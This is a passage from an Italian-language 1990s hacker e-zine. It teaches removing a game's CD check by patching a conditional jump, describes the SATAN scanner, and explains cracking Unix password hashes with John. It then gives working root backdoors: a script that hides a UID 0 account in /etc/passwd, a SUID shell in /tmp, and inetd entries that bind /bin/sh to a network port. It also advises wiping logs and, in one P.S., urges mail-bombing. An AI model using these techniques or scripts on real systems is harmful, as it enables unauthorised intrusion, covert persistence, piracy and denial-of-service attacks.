DOS4GW (*FOR EXPERTS ONLY*) Eccoci al dunque, al punto dove si vede veramente se un cracker ha le palle o meno (ve lo immaginate un cracker con le palle, dico di quelli da mangia'!). Premetto che le mie palle in questo campo non sono ancora molto sviluppate, quindi..... perdonatemi se in questa sezione saro' poco chiaro! Non vi sto' a dire nemmeno che, se prima non vi leggete bene gli altri capitoli e non vi imparate BENE BENE a destreggiare nel debugging, sviluppando un certo intuito "crakkistico", potete benissimo saltare questa parte, tanto non ci capirete quasi nulla! Ordunque, fatte queste precisazioni, cominciamo: Innanzitutto, dovete usare lo strafottutissimoWDmaledettochilhainventatolo potevanofa'unpo'piu'faciledausanonso'tipoilsofticechee'complicatopero'afa' lecosesifa'prestoinvececonquestobisognasta'agira'fralefinestreuncisicapisce unasega..... Capito, a me piace MOOOOLTO il Watcom Debugger! A parte questo mio odio recondito verso il programmino (in realta', l'unico che permette di debuggare il DOS4GW, che che ne dicano chi sostiene che si puo' fare benissimo con il SoftICE per Windows95. Dimostratemelo!), vi spiego subito qualche comandino: F5...... Go (esegue fino al BP specificato) F8...... Trace F9...... Setta il BP all'indirizzo specificato F10..... Step Praticamente, il vostro debugging si ridurra' al pallosissimo steppare fino a che non trovate una call che vi butta fuori. A questo punto: 1) Fate UNDO con CTRL+LEFT (rispondete YES alla finestra che appare) 2) Mettete un BP con F9 alla call incriminata 3) Tracciatela 4) Con le call successive, ripetete da 1 a 3 finche' non vi accorgete che siete arrivati ad un punto nel quale un jump condizionale controlla l'entrata o meno nel programma (password esatta, cd check). 5) Provate a saltarlo, cambiando l'EIP (uguale all'IP, ma questa volta a 32-Bit. Anche gli altri registri li trovate in formato E) andando nella finestra REGISTERS da uno dei meno e clicckando sopra al registro. 6) Se funge, segnatevi i bytes da cambiare. Dato che nel WD non c'e' la funzione di assemble, a meno che non si tratti di NOPPARE qualcosa, dovrete scazzarvi a cambiare i bytes clickando sul jump da cambiare e giocherellando con i valori fino a che non avete ottenuto quello giusto. Questo e' uno dei principali motivi per cui odio questo debugger! Non vi sto' nemmeno a dire che nel debugging di questi programmi e' quantomeno ESSENZIALE avere a disposizione l'originale, per vedere come si comporta debuggandolo, in modo da identificare il punto dove agire. Difatti, in questa maniera potete prima provare a debuggare in condizione "pirata" (ossia, ad esempio, sbagliando la password o non inserendo il CD). Quindi, segnatevi tutti i breakpoint "buoni" che trovate. A questo punto, debuggando l'originale inserendo la PWD giusta o il CD, usate gli stessi BP partendo dall'ultimo, fino a che il programma non tornera' al debugger. Segnatevi questo BP. Ora sapete che il check avviene in un punto proprio dopo quella call. Tracciate la call e steppate finche' non esce, seguendo esattamente quello che succede, segnandovi tutti i jump condizionali. Ora basta riprovare a debuggare in condizione "pirata", settare il BP che che vi siete segnati precedentemente e vedere cosa fanno i jump condizionali. Sicuramente ne troverete uno che si comporta diversamente da prima, e sara' proprio quello da cambiare. Questa tecnica e' diciamo standard per quanto riguarda i CD-CHECK, come nel caso di Destruction Derby che ora vi propongo..... Dunque, iniziate il debugging caricando WD /TR=RSI /SWAP DD.EXE. Steppate, settate BP, tracciate, eseguite e cazzi vari fino a quando non arrivate a questo punto (naturalmente, ci arriverete dopo MOOOLTE volte che il programma vi butta fuori, quindi dovrete ricominciare tracciando e ritracciando.....): (naturalmente, l'EIP che troverete voi sara' diverso!!) [ ] 003A68F5 sub esp,0000000C [ ] 003A68FB mov eax,[004EA78A] [ ] 003A6900 sar eax,10 [ ] 003A6903 cmp eax,00000014 = > 003A6906 je CS:003A6916 < Con il CD originale inserito, questo [ ] 003A6908 mov eax,00000003 JE viene eseguito. Per eliminare [ ] 003A690D push eax il cd check, basta cambiarlo in JMP. [ ] 003A690E call CS:003A6ABF [ ] 003A6913 add esp,00000004 Usando le tecniche sopra descritte e controllando prima come si comporta il gioco con il CD inserito vedrete che il JE a 3A906 (nel mio caso) viene eseguito, mentre non inserendo il CD la call a 3A690E vi butta fuori. Quindi, basta cambiare questo je in un JMP. Dunque, provate innanzitutto a cambiare l'EIP in modo da simulare un JMP, per vedere se funge (tante volte mi fossi rincoglionito......). Controllato questo, segnatevi i bytes corrispondenti all'istruzione a 3A6906 (anche qualcuno prima e dopo) clicckando sul JE stesso. Poi, andate al capitolo sul patcher per vedere come il tutto si mette in pratica...... Ale', il vostro primo crack in DOS4GW!!!!! Ah, dimenticavo: dato che il WD non stoppa i programmi che hanno un proprio keyboard handler (praticamente, tutti) l'unica soluzione per debuggarli e' fare come in questo caso, cioe' eseguirli passo passo dall'inizio, tracciando e ritracciando (cosa PALLOSISSIMA che vi portera' via ore e ore). Senno', potete provare a mettere un BP (dall'apposito menu) alla locazione 0xA0000 scegliendo "Byte", il che vi riportera' al debugger ogni volta che il programma scrive sullo schermo. Cioe', in pratica, non potete fare quello che fate col SoftICE o col G3X, cioe' magari arrivati al punto dove vi chiede la password entrare nel debugger e fare tutto il resto. Altra ragione per cui odio il WD, dato che il tasto per entrare nel debugger c'e' (PRTSCR), ma praticamente e' inusabile per questo "cavillo"! UPDATE: Ho scoperto finalmente come "crakkare" il DOS4GW usando il Softice 95!!!! Eh eh..... vi stupisco vero ? Dunque..... premetto che e' una puttanata, bastava solamente pensarci prima. Allora, partendo dal presupposto che la parte iniziale dell'extender e' sempre la stessa (cioe', il DOS4GW che e' "attaccato" all'eseguibile e' sempre il solito) basta fare in questa maniera: 1) Si carica l'EXE da crakkare con il WD; 2) Ci segnamo i primi bytes (quelli iniziali, che corrispondono a quelli subito dopo il caricamento dell'extender); 3) Usciamo dal WD, carichiamo il nostro bravo Hex-Editor e cerchiamo i suddetti bytes nel file; 4) Ai primi 2 bytes sostituiamo "CD 03", che corrisponde a INT 3, un interrupt riservato ai debugger per prendere il controllo della situazione; 5) A questo punto, carichiamo il SoftICE 95, e eseguiamo il nostro file da crakkare. Wow...... il Softice appare proprio nel punto dove noi abbiamo sostituito i bytes.... ganzo! 6) Al posto dell'INT3 sostituiamo i bytes che ci siamo segnati in precedenza 7) Si continua a debuggare normalmente, avendo ora passato la parte di startup. UPDATE 2: Dunque dunque.... eccovi fresco fresco un altro trucchetto (forse migliore del primo, essendo rippato brutalmente dalla guida di +ORC). C'e' di meglio che potete evitare di cercare prima i bytes con il WD.Allora: 1) Cercate con un hex-editor nel file "vittima" la parola "WATCOM" (non mi ricordo se e' WATCOM o Watcom o watcom, mettete case-insensitive). Ne troverete 3 o 4, quella bona e' quella che immediatamente prima ha EB 76; 2) Al solito, sostituite questo con CD 03 (ah gia'.. se il softice non "poppa" quando eseguite, ricordatevi di attivare I3HERE ON); 3) Runnate il programma normalmente e.... tadan! Siete proprio dopo lo startup! 4) Risostituite CD03 con EB76 e divertitevi! FINE SECONDA PARTE ( By Xoanon ) 4) Satan ( By IceNice ) Incominciamo in questo numero una panoramica su SATAN acronimo di Security Administrator Tool for Analyzing Networks, lo Strumento per gli Amministratori per l'analisi della sicurezza delle reti. Satan e' un potente strumento in grado di esaminare a fondo sistemi, o anche intere reti di sistemi, per scovare un certo numero di falle comuni e critiche nella sicurezza. Il 5 Aprile 1995 satan fece la sua entrata trionfale in Internet, il suo intento era quello di interrogare milioni di daemon in tutto il globo terrestre nel tentativo di scoprire i segreti e le debolezze che rendono i sistemi vulnerabili. Gli auturi di questo ottimo tool, Dan Farmer e Wietse Venema, indirizzarono lo sguardo di SATAN verso la ricerca di falle di sistemi per scoprire eventuali vie per degli attacchi dall'esterno e la loro origine, in modo da saperne di piu' sulla sicurezza della rete ed in particolare di reti estese. Per poter utilizzare satan occore avere accesso da superuser su una piattaforma supportata da unix, installato il perl 5.0 o successivo, un browser web, 32mega di ram, e da 2 a 5 mega liberi di spazio su hd. Satan e' disponibile presso numerosi ftp anonimi, ora ve ne do uno ftp://ftp.win.tue.nl/pub/security, analizziamo ora i passi per poter configurare il nostro bel tool un po' per volta: 1- Appena fatto il log come root, si decomprima e si estragga il file di archivio nella locazione preferita usando comandi come questi : # cd /desired/location # uncompress < /some/path/satan-1.1.1.tar.Z | tar cf - # cd satan-1.1.1 2- Si esegua lo script reconfig il quale, tra le altre cose, cerca Perl e i browser web nelle locazioni standard. 3- Si editi config /path.pl per accettarsi che la variabile di Perl $MOSAIC contenga il nome del comando per il browser preferito dall'utente. 4- Si esegua make senza argomenti per vedere il menu dei tipi di sistema, quindi lo si esegua nuovamente fornendo il nome del proprio tipo di sistema: # make Usage: make system-type. Know types are: aix osf bsd bsdi dgux irix4 irix5 freebsd hpux9 linux sunos4 sunos5 Asysv4 #make irix5 Dopo aver configurato il tutto lanciamo il programma portandosi all'interno della home directory per eseguirlo, altrimenti si riceveranno uno o piu messaggi di errore da Perl: # ./satan SATAN is starting up..... Dopo aver generato il magic cookie della sessione, il satan avvia il proprio httpd su una porta TCP libera e lancia il browser web. Appena compare il pannello di controllo di Satan, entriamo nella configurazione di satan in modo da configurare le variabili chiave del programma le quali determinano il comportamento del programma durante il periodo di esecuzione. Nelle variabili di configurazione occorre settare il database dove registrare i risultati delle ricerche, il livello di attacco di satan leggero, normale o completa, il tempo di timeout per i risultati delle ricerche, l'espansione alle sottoreti, il target di satan. Occorre configurare il tutto per bene in modo da definire nel modo migliore la strategia di attacco; facciamo alcuni esempi: Consideriamo un attacco a livello di target. Durante l'attacco bisogna valutare l'impatto potenziale sul sistema locale su cui si trova SATAN, i sistemi target e tutte le reti intermedie, in modo da avere una soluzione globale di quello che succede con tutti i 3 livelli di attacco. In un attacco light, SATAN richiede al dns di cercare di determinare l'hardware del target e la configurazione del sistema operativo, il sistema per lo scambio della mail e cosi via. Quindi contatta il portmapper RPC del target, se ce ne e' uno attivo, per scoprire quali server applicativi basati su RPC stanno girando sulla macchina. In un attacco normale include le ricerche svolte con l'attacco light, oltre ad una interrogazione finger per determinare i nomi di account degli utenti e i nomi degli host di sistemi remoti che hanno accesso al target. Inoltre vengono esaminate un certo numero di porte di servizio standard (FTP, Telnet, SMPT, NNPT, UUCP, e alcune altre) per scoprire quali server di rete sono disponibili. Un attacco completo include le procedure dell'attacco normale, oltre ad un esame ancora piu' accurato delle porte TCP e UDP che possono essere collegate a server di qualunque tipo. Vengono esaminate in particolare le porte TCP 1-9999 e UDP 1-2050 e 32767-33500. Con questo esame SATAN e' in grado di scoprire molte cose interessanti, quali un daemon telnet su una porta non standard che puo' costituire una potenziale porta di servizio al sistema. Tutti e tre i metodi di attacco includono un esame delle condizioni (conditional probe). Questo viene eseguito solo se dalle prove effettuate emergono degli atti che lo fanno ritenere opportuno. Se per esempio viene scoperto un server NFS durante un attacco light, viene eseguito il comando showmount sul target per ottenere il suo elenco di export. Naturalmente non ha senso eseguire questo controllo se non e' presente il server NFS. Bene eccoci arrivati alla fine della prima parte su Satan, vi ricordo che molte delle informazioni da me avute sono state prese in giro per libri, faq, info personali eccetera. Bene ci sentiamo la prossima volta. Ciao a presto 5) Sistemi di codifica e password ( by Jack Mckrak ) Comunicare a un'altra persona delle informazioni e' un passaggio necessario per far progredire idee e concetti... qualche volta pero' e' anche altrettanto necessario evitare che altri ascoltino quello che abbiamo da dire... Giulio Cesare, per esempio, garantiva la riservatezza dei suoi ordini scambiando le lettere dell'alfabeto fra di loro secondo uno schema che solo i suoi sotto ufficiali conoscevano... un metodo banale ma efficace se si pensa che a quel tempo la sola scrittura era gia' un modo per comunicare messaggi incomprensibili alla maggior parte delle persone... Un codice di questo tipo oggi farebbe ridere, in pochi minuti un programma di ricerca statistica, tarato con le cadenze delle lettere in una particolare lingua, decifrerebbe il messaggio in pochi minuti, anche presupponendo che chi ha criptato i dati abbia usato un complicatissimo algoritmo per scambiare le lettere. Facciamo finta che io debba inviare a un mio amico un'informazione segreta. Sicuramente questa verra' intercettata da un eventuale nemico che dispone di sofisticati metodi di calcolo...come posso fare per evitare che ne comprenda il significato ? Primo caso: il mio amico viene a trovarmi a casa una sera, siamo sicuri di non essere spiati e ci accordiamo su un modo per codificare il messaggio. Il sistema in questione viene generalmente chiamato "a chiave privata" ovvero il mittente e il destinatario sono i soli a sapere come decriptare il codice e, finche questo rimane segreto, possiamo considerarlo sicuro. Questo modo di procedere ha pero' dei limiti: il primo e' che la chiave puo' essere difficilmente aggiornata, poiche', quando questo accade, bisogna avere la certezza di non essere ascoltati....piu' tempo la chiave resta attiva, maggiori saranno le probabilita' che il nemico la scopra...Se poi si ha la necessita' che un messaggio venga compreso da di piu' persone tutte in possesso della stessa chiave, aumenta notevolmente la possibilita' che il nemico possa intercettarla e compromettere la sicurezza... Un esempio di questo tipo di codifica e' dato dall' americano DES ovvero Data Encryption Standard, la cui chiave base e' un numero di 56 cifre in formato binario, ovvero 2^56 possibilita' differenti di interpretare il messaggio. Si puo' pensare che un numero cosi' grande assicuri una sicurezza assoluta, ma, viste le capacita' di calcolo dei moderni super computer e la potenza dei nuovi algoritmi, si e' ben lontani dal poter affermare l'impossibilita' di decryptazione da parte di estranei (vedi seconda parte dell'articolo)... Secondo caso: io e il mio amico non possiamo incontrarci, anzi siamo costretti a scambiare messaggi con la certezza che questi vengono intercettati..non possiamo inviarci dunque chiavi segrete, come facciamo a rendere sicura una conversazione ? Nel 1975 Whitfield Diffie e Martin Hellman inventarono un nuovo sistema per codificare informazioni: la "crittografia a chiave pubblica"... il concetto di base e' semplice: io ho due chiavi, una pubblica e una privata, se qualcuno vuole inviarmi un messaggio prende la mia chiave pubblica e lo crypta, a questo punto il solo che potra' decryptarlo sono io con la mia chiave privata... Matematicamente questo processo e' possibile utilizzando la teoria dei numeri primi: dati 2 numeri primi molto grandi e' facile ottenere il loro prodotto, mentre e' quasi impossibile risalire dal prodotto ai due numeri originali...in questo modo se io utilizzo i due numeri primi come chiave segreta e come chiave pubblica il prodotto, ottengo un sistema che mi garantisce sicurezza senza la necessita' di inviare la chiave al destinatario... e' questa l'idea alla base del metodo piu' diffuso oggi di codifica, l'RSA, nome derivato dalle iniziali degli ideatori Rivest-Shamir-Adleman del MIT. Una applicazione nota e' il famoso PGP di Philip Zimmermann, programma disponibile un po' ovunque sulla rete, che e' grado di garantire una sicurezza quasi assoluta...o almeno cosi' si ritiene... Infatti fino al 1982 i migliori sistemi di decodifica RSA erano in grado di decifrare un codice di 50 cifre in forma decimale per cui bastava usare chiavi pubbliche di 100 cifre per stare al sicuro..poi lo sviluppo della potenza di calcolo e degli algoritmi ha permesso di arrivare dapprima alla scomposizione di numeri di 60-70 cifre, e oggi a quelli di 90-100..e questi sono dati che non tengono conto delle novita', come il computer da uno migliaio (non ricordo il numero esatto ma erano davvero tanti) di Pentium Pro 200 Mhz in parallelo comprato dal governo americano... ...se venisse dedicato solo alla decifrazione di codici non so cosa potrebbe combinare....questo per quanto riguarda il calcolo puro, perche' se si considera l'aspetto teorico del problema si scopre che alcuni concetti matematici (noti gia' al tempo di Fermat) dicono che se un PC e' in grado di generare un numero di circa 300 cifre partendo da 2 numeri primi di 150 (questa e' infatti la dimensione della chiave pubblica si imposta il PGP in modalita' "sicurezza militare" ovvero crea un numero di 1024 bits) con la stessa potenza di calcolo deve essere possibile risalire ai 2 numeri di partenza... dunque tutti i dati che girano sulla rete criptati con l'RSA contano sul fatto che questo metodo previsto in linea teorica non venga mai scoperto dai matematici....se naturalmente non e' stato gia' scoperto ;).... Ve la cavate in matematica e volete fare uno svracco di soldi subito ? Facile: inventate un nuovo algoritmo di scomposizione in numeri primi e vendetelo al migliore offerente, ma dopo cominciate a rinunciare all'idea di poter inviare un messaggio riservato a qualcuno o di tenere segreto il vostro conto in banca.... Passiamo alla pratica - il file passwd Il file piu' importante per la sicurezza dei sistemi Unix e' /etc/passwd. In questo file infatti sono memorizzati gli account di tutti gli utenti che hanno accesso al sistema, ovvero il paradiso per chi sta cercando un modo per entrare in quel computer... Il file passwd si presenta come una lista di stringhe di testo strutturate nel modo seguente: username:password:userID:groupID:nome:homedirectory:shell un esempio possono essere i seguenti: root:xHPq.1DeS9nTD2:0:0:root:/:/bin/sh bin:*:1:1:bin:/bin: daemon:*:2:2:daemon:/sbin: adm:*:3:4:adm:/var/adm: lp:*:4:7:lp:/var/spool/lpd: sync:*:5:0:sync:/sbin:/bin/sync shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown halt:*:7:0:halt:/sbin:/sbin/halt mail:*:8:12:mail:/var/spool/mail: demo::101:100:demo:/usr/demo:/usr/sh quirk:mV.ZNxmPykSek:578:12:Mr Quirk:/usr/quirk:/bin/sh Analizziamo questi diversi tipi di account.. Lo username e' il nome che si inserisce quando viene richiesto il login ed e' la parola con cui verrai identificato quando sei all'interno del sistema... il primo username che compare in un file di passwd e' solitamente "root" ovvero l'operatore di sistema, colui che ha tutti i privilegi e puo' fare qualsiasi cosa sulla macchina.. non mi dilungo sulle conseguenze che puo' avere riuscire ad entrare in un sistema attraverso l'account root...:> Il secondo campo della stringa di account e' proprio la password del rispettivo user. Si possono incontrare diversi casi: 1) La password non e' dichiarata...(vedi account "demo" nell'esempio") ..ovviamente e' il caso migliore, ma, trascurando l'eventualita' di operatori sfigati, o non ne troverete o vi consentiranno un accesso ristretto al minimo, praticamente inutilizzabile (a meno che non siate degli sboroni e utilizzate questi account per inserire cavalli di troia nel sistema e guadagnare cosi' i privilegi di un OP )... 2) La password e' un carattere "*" (account "bin, daemon")... ..qui c'e' poco da dire, questo tipo di acconut e' disabilitato per gli utenti e viene utilizzato da sistema per gestire diversi tipi di servizi 3) La password e' una serie di caratteri sconnessi (account "root" e "quirk") ..in questo caso siamo davanti a una password criptata con il sistema DES e possiamo lavorarci sopra... Se vi capita di scaricare un simile file passwd... root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/adm: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail: news:x:9:13:news:/usr/lib/news: uucp:x:10:14:uucp:/var/spool/uucppublic: operator:x:11:0:operator:/root:/bin/bash games:x:12:100:games:/usr/games: man:x:13:15:man:/usr/man ..cominciate a imprecare, infatti il file in questione e' di tipo Shadowed, ovvero tutte le passwd sono contenute in un altro file "shadow" che l'amministratore puo' nascondere ovunque nel server... ovviamente non sto a precisare quanto sia utile il solo file passwd con tutti gli account di questo tipo.. (una cosa che proprio non so e' se possono esistere password file con una parte di account normali e una parte shadow... non ne ho mai visti, ma non posso escluderne la presenza... ) Mettiamo che in qualche modo siate riusciti a scaricare il file di passwd da un server... il primo passo da fare e' controllare che non ci siano account con accesso libero, se siete fortunati, ma molto fortunati, potete anche tralasciare le prossime righe... se la ricerca, come nella maggior parte dei casi, non da i frutti sperati allora bisogna munirsi di un buon programma di decriptazione. L'ultimo in mio possesso si chiama John v1.0 creato nel 1996 ed e' molto piu' veloce dei suoi predecessori piu' famosi come Brute o CrackerJack.. Il suo funzionamento e' semplice: cripta una serie di parole con il sistema DES e controlla se il risultato e' uguale a quello scritto nel file passwd. Puo' essere lanciato in due modalita' wordlist o incremental: Wordlist significa che il programma legge da un file testo l'elenco di parole che utilizzera' per trovare la password.. esistono diversi file contenenti tutte le parole inglesi o italiane, a questi poi vanno aggiunti quelli che contengono le password piu' comuni, i nomi propri di persona, nomi di macchine.. tutto quello che insomma voi utilizzereste come chiave di accesso. Il procedimento e' molto veloce.. in 30 secondi john vi dice se e' stata usata una parola italiana, leggendo dal file con tutto il dizionario dentro, (per informazioni: il file in questione contiene quasi 2 milioni di parole e tiene circa 600 Kb) e in un'altra manciata di secondi vi controlla le liste di parole piu' comuni e vari file aggiunti... Nonostante non sia mai consigliato scegliere una parola semplice e scritta senza caratteri speciali, un procedimento di questo tipo da spesso piu' risultati di quello che ci si potrebbe aspettare... Se una password non viene decriptata con le liste di parole comuni allora rimane solo un modo: provare tutte le combinazioni di caratteri disponibili, ovvero il modo incremental... Penserete che per un computer potente come un Pentium II 266 associato a un programma ottimizzato riesca ad affrontare brillantemente una simile impresa.. ma... facciamo qualche conto: Ci sono 95 caratteri che si possono utilizzare in una parola chiave.. questi comprendono tutte le minuscole, tutte le maiuscole e tutti i caratteri come !()?'^.... ovvero i caratteri ASCII da 33 a 128. Una password al massimo e' costituita da 8 caratteri e dunque se vogliamo contare tutte le possibilita' queste sono 95^8 ovvero 6.63*10^15... un programma come john su un Pentium II 266 puo' controllare circa 20000 parole al secondo.. non sono certamente poche ma per controllarle tutte occorrono ben 10000 anni...tantini...La statistica pero' ci da una mano e infatti john e' calibrato su un datadase di 10000 password da cui ha estrapolato i caratteri piu' comuni, in questo modo vengono provate prima le combinazioni piu' probabili e vengono lasciate per ultime quelle piu' complicate... in questo modo si riduce enormente il tempo per identificare una parola chiave, senza contare poi che molti, in barba alla sicurezza del sistema, scelgono parole strane ma cortissime, di 4-5 caratteri che vengono scoperte nel giro di un giorno... A volte puo' anche meravigliare quanto un sistema possa essere insicuro, con OP che scelgono una password incasinatissima per l'accesso root e poi trovi degli utenti con chiavi tipo "pippo" "ciao" che hanno quasi privilegi da amministratore... Se pero' si sceglie una password complicata allora direi che diventa praticamente impossibile decifrarla, in casi simili non bisogna disperare ...le vie del signore sono infinite... si puo' infatti cercare di infiltrarsi in account scoperti ed editare il file passwd inserendo una riga come mckrak::0:0:Super User:/:/bin/sh ...riconnettersi come mckrak e dare inizio alle danze... sembra facile...ma molto spesso non e' un impresa da poco... Per ulteriori informazioni sui sistemi Unix rimando ad articoli specifici dove verra' spiegato cos'e' l'UserID, il groupID, la shell, ecc... Se uno di questi giorni trovo un po' di tempo (ma soprattutto la voglia), mi piacerebbe variare il codice sorgente di John in modo da sfruttare le istruzioni MMX dei nuovi processori... il codice MMX e' infatti composto da 57 istruzioni che utilizzano i registri della FPU per velocizzare i calcoli matematici, abbondanti nei programmi multimediali o di grafica real-time... implementando queste nella routine di John che crypta le parole chiavi col sistema DES, penso che si possa aumentare di un buon 80 % la velocita' di esecuzione del programma... ma la cosa potrebbe rivelarsi abbastanza incasinata ... Jack McKrak P.S. Ultimante si sentono molte notizie di pedofili che usavano internet per spacciare immagini e informazioni di ogni tipo...vorrei invitare tutti quelli che per caso capitano in gruppi o siti di questo genere a boicottare nel modo piu' totale chi favorisce la diffusione di questo materiale... se non volete segnalare tutto alle autorita' munitevi almeno di un bel programma di Mail Bombing e fata tabula rasa di tutti gli indirizzi collegati... Fermiamo chi usa la rete per veicolare principi opposti a quelli per cui e' stata creata... 6) Backdoors e root ( by Jester ) INTRODUZIONE Uno dei principali problemi connessi all'hacking e' mantenere i privilegi di amministratore in un sistema dopo una eventuale intrusione. In questo articolo descrivero' le piu' comuni procedure per mantenere i privilegi di root in un sistema UNIX, supponendo che siate riusciti ad impadronirvi dei privilegi di amministratore in precedenza. Innanzitutto le backdoors che descrivero' di seguito sono solo le piu' famose, ma praticamente una volta in possesso della root, su un sistema Unix e' possibile creare un'infinita' di backdoors a seconda della propria fantasia. Prima di installare una backdoor sul sistema ci sono alcune cose che bisogna sapere: 1.La posizione dei principali file in un sistema UNIX 2.Familiarita' con il formato del file passwd (il formato a 7 campi, i campi GECOS, i meccanismi dello shadowing) 3.Familiarita' con editor come vi; non sempre saranno disponibili editor come pico o Emacs con un interfaccia user-friendly Inoltre e' bene considerare che la permanenza di tali backdoors dipendera' anche dalle abilita' tecniche del vero amministratore del sistema. Un amministratore degno di questo nome sara', infatti, a conoscenza di tutte le backdoors qui descritte. CANCELLARE LE PROPRIE TRACCE Innanzi tutto e' importante, prima di entrare in un server, essere sicuri a priori che si potranno cancellare le tracce della propria intrusione modificando quindi i file che loggano la vostra presenza sul sistema. Se un amministratore non si accorge di eventuali intrusioni, e' meno probabile che cerchi di trovare backdoors. E' consigliabile anche fare uno di script co me marry.c e hide.c che rendono invisibile la propria presenza al sistema. Chi fosse interessato me li puo' richiedere via mail. BACKDOOR EVIDENTE La backdoor piu' semplice, ma allo stesso tempo piu' evidente, a cui possiamo pensare consiste nell'aggiungere al passwd un account con UID 0. Comunque fare una cosa del genere sarebbe com dire all'amministratore "Ehi sto attaccando il tuo server!". Se proprio vogliamo installare una backdoor di questo tipo sarebbe opportuno non porre semplicemente questo account all'inizio o alla fine del passwd altrimenti ognuno che esaminasse anche casualmente il passwd lo noterebbe. Il mio consiglio e', quindi, quello di aggiungere questo tipo di account nel mezzo del passwd con questo script: #!/bin/csh # Inserisce un account con UID 0 nel mezzo del passwd set linecount = `wc -l /etc/passwd` cd cp /etc/passwd ./temppass echo Il passwd file ha $linecount[1] linee. @ linecount[1] /= 2 @ linecount[1] += 1 echo Sto creando due file, ognuno da $linecount[1] linee . split -$linecount[1] ./temppass echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa #Modificate questa lineaJ cat ./xab >> ./xaa mv ./xaa /etc/passwd chmod 644 /etc/passwd rm ./xa* ./temppass echo Fatto... E' ovvio che EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh va modificato a seconda delle vostre esigenze inoltre MAI MAI MAI modificare la passwd di root, le ragioni sono ovvie. Inoltre in maniera simile e' possibile abilitare uno di quegli account (sync, games) con UID abbastanza alto che di solito sono disabilitati (hanno un * al posto della passwd criptata). In questo caso prendete uno di questi account disabilitati, mettetegli UID 0 e cancellate il "*" dal secondo campo del passwd. Lasciare una shell nel /tmp E' anche possibile lasciare una shell con privilegi da root nella directory /tmp #!/bin/sh cp /bin/csh /tmp/.evilnaughtyshell # Non chiamatela cosi... chmod 4755 /tmp/.evilnaughtyshell Comunque molti sistemi hanno dei task nel crontab che fanno pulizia nella directory /tmp ogni notte, altri hanno la directory /tmp montata in modo da non permettere la presenza di shell SUID; e' possibile, avendo la root, disabilitare tutti questi ma qui si ritorna al discorso di prima perche' disabilitare tutte queste impostazioni significa rendere evidente l'attacco. Comunque per evitare sorprese e' bene controllare i file /var/spool/cron/crontabs/root e etc/fstab. BACKDOOR NASCOSTA I file principali di configurazione del server non saranno certo il primo posto dove l'amministratore andra' a cercare backdoors, e quindi, perche' non metterne una li? Prima alcune informazioni: l'Internet Daemon (/etc/inetd) ascolta le richieste di connessione su porte TCP o UDP ed apre un programma appropriatro quando arriva una richiesta di connessione. Il formato del file /etc/inetd.conf e' semplice: (1) (2) (3) (4) (5) (6) (7) ftp stream tcp nowait root /usr/etc/ftpd ftpd talk dgram udp wait root /usr/etc/ntalkd ntalkd Il campo (1) contiene il nome del daemon proprio come e' contenuto nell'etc/services. Questo campo dice all'internet daemon cosa cercare nell'etc/services per determinare quale porta associare al nome di ogni singolo programma. Il campo (2) dice all'inetd il daemon che tipo di connessione accetta. Il TCP usa il socket di tipo stream, mentre l' UDP usa i datagrammi. Il campo (3) e' il campo che indica il protocollo di trasmissione (TCP o UDP). Il campo (4) indica se il daemon e' iterativo o concorrente. L'opzione "wait" indica che il server eseguira' una connessione e fara' attendere tutte le altre. "Nowait" al contrario, indica che il server accettera' una connessione, inizia un processo child per gestire la connessione e poi tornera' in modalita' sleep ad attendere altre connessioni. Il campo (5) indica con quale user (o meglio con quale UID) il daemon e' mandato in esecuzione. Il campo (6) indica quale programma eseguire quando una connessione arriva e (7) e' il comando con relative opzioni relative al programma precedentemente detto. Se il programma non richiede alcuna interazione dello user, l'inetd lo puo' gestire internamente. Questo si realizza con un opzione "interno" ( -i) nei campi (6) e (7). Per installare una backdoor basta scegliere un servizio che non e' usato spesso e sostituite il daemon che usualmente e' addetto a quel servizio con qualcos'altro. Potreste sostituirlo, ad esempio, con una shell SUID , un programma che aggiunge un account root nell'etc/passwd....etc..etc.. Esempio: Aprite il file etc/inetd.conf in un editor disponibile. Trovare la linea: daytime stream tcp nowait root internal e cambiatela in: daytime stream tcp nowait /bin/sh sh -i. Ora avete bisogno di riavviare l'etc/inetd cosi da fargli leggere di nuovo il file di configurazione. Dipende da voi come volete fare questo. Potete killare e riavviare il processo, (kill -9 , /usr/sbin/inetd o usr/etc/inetd ) che pero' INTERROMPERA' tutte le connessioni dall'esterno....quindi sarebbe una buona idea fare questo non negli orari di punta. Un alternativa a compromettere un servizio ben conosciuto sarebbe installarne uno nuovo che esegue un programma a vostra scelta. Una soluzione semplice sarebbe immettere una shell che lavora allo stesso modo della backdoor precedentemente descritta. C'e' bisogno pero', che il nome del servizio compaia nell'etc/services come nello /etc/inetd.conf. Il formato dell' etc/services e' semplice: (1) (2)/(3) (4) smtp 25/tcp mail Il campo (1) e' il nome del servizio, il campo (2) e' il numero della porta, (3) e' il tipo di protocollo che il servizio aspetta, ed il campo (4) contiene il nome comune associato al servizio. Per esempio, aggiungete questa linea all' etc/services: evil 22/tcp evil e questa linea al etc/inetd.conf: evil stream tcp nowait /bin/sh sh -i ed infine riavviate l'inetd come detto sopra. NB:queste sono backdoors molto potenti...non solo offrono il rientro nel sistema da locale ma da qualsiasi account su qualsiasi computer dell'Internet...;) BACKDOORS CON IL CRON Cron e' uno strumento meraviglioso per l'amministrazione del sistema....ma e' anche uno strumento meraviglioso per creare backdoors perche' il crontab del root ha, effettivamente, i privilegi di root; di nuovo a seconda del livello dell'esperienza dell'amministratore di sistema questo tipo di backdoor puo funzionare piu' o meno a lungo. Il file /var/spool/crontabs/root e' dove si trova la lista dei cron jobs del root di solito. Qui ci sono diverse alternative; ne cito solo un paio, poiche' le backdoors basate sul cron sono limitate soltanto dalla vostra fantasia. Il cron e' uno strumento che automaticamente esegue comandi ad orari e date prestabilite. Crontab e' il comando da usare per aggiungere, rimuovere o vedere i vari cron jobs. Si puo' sia editare manualmente il file /var/spool/crontab/root che modificarlo con il comando crontab stesso. Ogni riga del crontab ha sei campi: (1) (2) (3) (4) (5) (6) 0 0 * * 1 /usr/bin/updatedb I campi da (1) a (6) sono rispettivamente: i minuti (0-59), le ore (0-23), giorno del mese 